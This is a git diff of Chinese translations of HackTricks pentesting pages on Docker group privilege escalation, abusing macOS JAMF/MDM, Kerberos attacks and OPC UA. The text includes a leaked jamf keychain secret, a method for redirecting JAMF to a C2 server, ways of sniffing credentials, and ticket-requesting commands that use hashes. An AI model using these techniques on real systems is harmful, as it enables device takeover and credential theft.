|
# Docker 组
|
||||||
|
|
||||||
您可以将主机的根文件系统挂载到实例的卷中,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
|
您可以将主机的根文件系统挂载到实例的卷中,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
|
||||||
|
|
||||||
|
@ -150,10 +156,17 @@ find / -group root -perm -g=w 2>/dev/null
|
||||||
|
|
||||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||||
|
|
||||||
# lxc/lxd Group
|
# lxc/lxd 组
|
||||||
|
|
||||||
[lxc - 权限提升](lxd-privilege-escalation.md)
|
[lxc - 权限提升](lxd-privilege-escalation.md)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||||
|
立即获取访问权限:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -163,8 +176,8 @@ find / -group root -perm -g=w 2>/dev/null
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
* **加入** 💬 [**Discord 组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,22 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 利用 MDM
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
## 滥用 MDM
|
||||||
|
|
||||||
* JAMF Pro: `jamf checkJSSConnection`
|
* JAMF Pro: `jamf checkJSSConnection`
|
||||||
* Kandji
|
* Kandji
|
||||||
|
|
||||||
如果你成功**获取管理员凭据**以访问管理平台,你可以**潜在地危害所有计算机**,通过在机器上分发你的恶意软件。
|
如果您设法**获取管理员凭据**以访问管理平台,您可以**潜在地危害所有计算机**,通过在机器上分发恶意软件。
|
||||||
|
|
||||||
在 MacOS 环境中的红队活动中,强烈建议对 MDM 的工作原理有一定了解:
|
在 MacOS 环境中进行红队活动,强烈建议对 MDM 的工作原理有一定了解:
|
||||||
|
|
||||||
{% content-ref url="macos-mdm/" %}
|
{% content-ref url="macos-mdm/" %}
|
||||||
[macos-mdm](macos-mdm/)
|
[macos-mdm](macos-mdm/)
|
||||||
|
@ -32,15 +40,15 @@
|
||||||
|
|
||||||
MDM 将有权限安装、查询或删除配置文件,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥...
|
MDM 将有权限安装、查询或删除配置文件,安装应用程序,创建本地管理员帐户,设置固件密码,更改 FileVault 密钥...
|
||||||
|
|
||||||
为了运行你自己的 MDM,你需要**你的 CSR 由供应商签名**,你可以尝试通过 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行你自己的 MDM,你可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
|
为了运行您自己的 MDM,您需要**您的 CSR 由供应商签名**,您可以尝试通过 [**https://mdmcert.download/**](https://mdmcert.download/) 获取。要为 Apple 设备运行您自己的 MDM,您可以使用 [**MicroMDM**](https://github.com/micromdm/micromdm)。
|
||||||
|
|
||||||
然而,要在注册设备上安装应用程序,你仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,所以你现在可以签署任何东西。
|
然而,要在注册设备上安装应用程序,您仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此您现在可以签署任何内容。
|
||||||
|
|
||||||
要将设备注册到 MDM,你需要以 root 身份安装一个 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(你可以将其压缩为 zip,当从 Safari 下载时会被解压)。
|
要将设备注册到 MDM,您需要以 root 身份安装一个 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(您可以将其压缩为 zip,当从 Safari 下载时将被解压)。
|
||||||
|
|
||||||
**Mythic agent Orthrus** 使用了这种技术。
|
**Mythic agent Orthrus** 使用了这种技术。
|
||||||
|
|
||||||
### 利用 JAMF PRO
|
### 滥用 JAMF PRO
|
||||||
|
|
||||||
JAMF 可以运行 **自定义脚本**(由系统管理员开发的脚本)、**本地有效载荷**(本地帐户创建、设置 EFI 密码、文件/进程监控...)和 **MDM**(设备配置、设备证书...)。
|
JAMF 可以运行 **自定义脚本**(由系统管理员开发的脚本)、**本地有效载荷**(本地帐户创建、设置 EFI 密码、文件/进程监控...)和 **MDM**(设备配置、设备证书...)。
|
||||||
|
|
||||||
|
@ -48,9 +56,9 @@ JAMF 可以运行 **自定义脚本**(由系统管理员开发的脚本)、*
|
||||||
|
|
||||||
访问 `https://<公司名称>.jamfcloud.com/enroll/` 这样的页面,查看他们是否启用了 **自助注册**。如果启用了,可能会**要求输入凭据以访问**。
|
访问 `https://<公司名称>.jamfcloud.com/enroll/` 这样的页面,查看他们是否启用了 **自助注册**。如果启用了,可能会**要求输入凭据以访问**。
|
||||||
|
|
||||||
你可以使用脚本 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 执行密码喷洒攻击。
|
您可以使用脚本 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 执行密码喷洒攻击。
|
||||||
|
|
||||||
此外,在找到合适的凭据后,你可能能够使用下一个表单暴力破解其他用户名:
|
此外,在找到合适的凭据后,您可能能够使用下一个表单暴力破解其他用户名:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (107).png>)
|
![](<../../.gitbook/assets/image (107).png>)
|
||||||
|
|
||||||
|
@ -58,15 +66,13 @@ JAMF 可以运行 **自定义脚本**(由系统管理员开发的脚本)、*
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**`jamf`** 二进制文件包含打开钥匙串的秘密,在发现时是**共享**给每个人的,内容是:**`jk23ucnq91jfu9aj`**。\
|
**`jamf`** 二进制文件包含打开钥匙串的秘密,在发现时是**共享**给所有人的,内容是:**`jk23ucnq91jfu9aj`**。\
|
||||||
此外,jamf **持久化**为 **LaunchDaemon** 在 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
此外,jamf **持久化**为 **LaunchDaemon** 在 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||||
|
|
||||||
#### JAMF 设备接管
|
#### JAMF 设备接管
|
||||||
|
|
||||||
**JSS**(Jamf 软件服务器)**URL** 在 **`/Library/Preferences/com.jamfsoftware.jamf.plist`** 中。\
|
**JSS**(Jamf 软件服务器)**URL** 在 **`/Library/Preferences/com.jamfsoftware.jamf.plist`** 中。\
|
||||||
该文件基本上包含 URL:
|
该文件基本上包含 URL:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
```bash
|
||||||
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||||
|
|
||||||
|
@ -81,7 +87,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**,从而能够利用JAMF作为C2。
|
因此,攻击者可以放置一个恶意包(`pkg`),在安装时**覆盖此文件**,将**URL设置为来自Typhon代理的Mythic C2监听器**,从而能够滥用JAMF作为C2。
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -99,15 +105,15 @@ sudo jamf policy -id 0
|
||||||
* 设备的 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
* 设备的 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||||
* **JAMF 密钥链**来自:`/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
|
* **JAMF 密钥链**来自:`/Library/Application\ Support/Jamf/JAMF.keychain`,其中包含设备证书
|
||||||
|
|
||||||
有了这些信息,**创建一个虚拟机**,使用**被盗**的硬件**UUID**,并且**禁用 SIP**,放置**JAMF 密钥链**,**挂钩** Jamf **代理**并窃取其信息。
|
有了这些信息,**创建一个 VM**,使用**被盗**的硬件 **UUID**,并且**禁用 SIP**,放置 **JAMF 密钥链,** **hook** Jamf **代理**并窃取其信息。
|
||||||
|
|
||||||
#### 秘密窃取
|
#### 秘密窃取
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||||
|
|
||||||
你还可以监控位置 `/Library/Application Support/Jamf/tmp/`,以获取管理员可能希望通过 Jamf 执行的**自定义脚本**,因为它们**在这里放置、执行并删除**。这些脚本**可能包含凭据**。
|
你还可以监控位置 `/Library/Application Support/Jamf/tmp/`,以获取管理员可能希望通过 Jamf 执行的 **自定义脚本**,因为它们**在这里放置、执行并删除**。这些脚本**可能包含凭据**。
|
||||||
|
|
||||||
然而,**凭据**可能作为**参数**传递给这些脚本,因此你需要监控 `ps aux | grep -i jamf`(甚至不需要是 root)。
|
然而,**凭据**可能作为**参数**传递给这些脚本,因此你需要监控 `ps aux | grep -i jamf`(甚至不需要 root 权限)。
|
||||||
|
|
||||||
脚本 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 可以监听新文件的添加和新进程参数。
|
脚本 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) 可以监听新文件的添加和新进程参数。
|
||||||
|
|
||||||
|
@ -119,9 +125,9 @@ sudo jamf policy -id 0
|
||||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 活动目录
|
## Active Directory
|
||||||
|
|
||||||
在某些情况下,你会发现**MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**:
|
在某些情况下,你会发现 **MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**:
|
||||||
|
|
||||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||||
|
@ -141,7 +147,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||||
```
|
```
|
||||||
也有一些为MacOS准备的工具,可以自动枚举AD并与kerberos进行交互:
|
也有一些为MacOS准备的工具,可以自动枚举AD并与kerberos进行交互:
|
||||||
|
|
||||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound是一个扩展Bloodhound审计工具,允许在MacOS主机上收集和摄取Active Directory关系。
|
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound是一个Bloodhound审计工具的扩展,允许在MacOS主机上收集和摄取Active Directory关系。
|
||||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost是一个Objective-C项目,旨在与macOS上的Heimdal krb5 API进行交互。该项目的目标是使用本地API在macOS设备上进行更好的Kerberos安全测试,而无需在目标上要求任何其他框架或软件包。
|
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost是一个Objective-C项目,旨在与macOS上的Heimdal krb5 API进行交互。该项目的目标是使用本地API在macOS设备上进行更好的Kerberos安全测试,而无需在目标上要求任何其他框架或软件包。
|
||||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): 用于Active Directory枚举的JavaScript自动化(JXA)工具。
|
* [**Orchard**](https://github.com/its-a-feature/Orchard): 用于Active Directory枚举的JavaScript自动化(JXA)工具。
|
||||||
|
|
||||||
|
@ -214,14 +220,14 @@ bifrost --action asktgt --username test_lab_admin \
|
||||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||||
--username [user] --hash [hash] --enctype [enctype]
|
--username [user] --hash [hash] --enctype [enctype]
|
||||||
```
|
```
|
||||||
通过获得的服务票证,可以尝试访问其他计算机上的共享:
|
通过获取的服务票证,可以尝试访问其他计算机上的共享:
|
||||||
```bash
|
```bash
|
||||||
smbutil view //computer.fqdn
|
smbutil view //computer.fqdn
|
||||||
mount -t smbfs //server/folder /local/mount/point
|
mount -t smbfs //server/folder /local/mount/point
|
||||||
```
|
```
|
||||||
## 访问钥匙串
|
## 访问钥匙串
|
||||||
|
|
||||||
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演练:
|
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演习:
|
||||||
|
|
||||||
{% content-ref url="macos-keychain.md" %}
|
{% content-ref url="macos-keychain.md" %}
|
||||||
[macos-keychain.md](macos-keychain.md)
|
[macos-keychain.md](macos-keychain.md)
|
||||||
|
@ -239,7 +245,7 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 参考文献
|
## 参考资料
|
||||||
|
|
||||||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||||
|
@ -247,6 +253,14 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
||||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -256,8 +270,8 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,33 @@
|
||||||
# 4840 - Pentesting OPC UA
|
# 4840 - Pentesting OPC UA
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
**OPC UA**,即**开放平台通信统一访问**,是一个关键的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与PLC的通信。
|
**OPC UA**,即 **开放平台通信统一访问**,是一个重要的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与 PLC 的通信。
|
||||||
|
|
||||||
其配置允许强大的安全措施,但为了与旧设备的兼容性,这些措施往往会减弱,从而使系统面临风险。此外,寻找OPC UA服务可能会很棘手,因为网络扫描仪可能无法检测到它们,如果它们位于非标准端口上。
|
其配置允许强大的安全措施,但通常为了与旧设备的兼容性,这些措施会减弱,从而使系统面临风险。此外,查找 OPC UA 服务可能很棘手,因为网络扫描仪可能无法检测到它们,如果它们位于非标准端口上。
|
||||||
|
|
||||||
**默认端口:** 4840
|
**默认端口:** 4840
|
||||||
```text
|
```text
|
||||||
|
@ -34,9 +42,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
```
|
```
|
||||||
### 利用漏洞
|
### 利用漏洞
|
||||||
|
|
||||||
如果发现身份验证绕过漏洞,可以相应地配置一个 [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/),看看可以访问什么。这可能允许从仅仅读取过程值到实际操作重型工业设备的任何事情。
|
如果发现身份验证绕过漏洞,可以相应地配置 [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/),查看可以访问的内容。这可能允许从仅仅读取过程值到实际操作重型工业设备的任何事情。
|
||||||
|
|
||||||
要获取您可以访问的设备的线索,请读取地址空间中的 "ServerStatus" 节点值,并在谷歌上搜索使用手册。
|
要获取您可以访问的设备的线索,请在地址空间中读取“ServerStatus”节点值,并在谷歌上搜索使用手册。
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -46,17 +54,25 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
|
|
||||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 512 - Pentesting Rexec
|
# 512 - Pentesting Rexec
|
